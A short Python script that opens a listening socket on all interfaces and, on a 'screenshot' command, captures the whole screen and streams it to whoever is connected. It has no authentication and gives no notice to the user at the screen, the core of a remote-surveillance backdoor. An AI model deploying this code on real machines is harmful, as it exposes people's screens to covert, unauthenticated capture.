import socket
from PIL import ImageGrab
from os import remove
host = '0.0.0.0'
port = 10000

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(1)
client_socket, address = server_socket.accept()
while True:
    command = client_socket.recv(1024).decode()
    if command.startswith('screenshot'):
        image = ImageGrab.grab()
        image.save('temp.png')

        with open('temp.png', 'rb') as screenshot:
            chunk = screenshot.read(2048)
            while chunk:
                client_socket.send(chunk)
                chunk = screenshot.read(2048)
            client_socket.send(b'finish')
        remove('temp.png')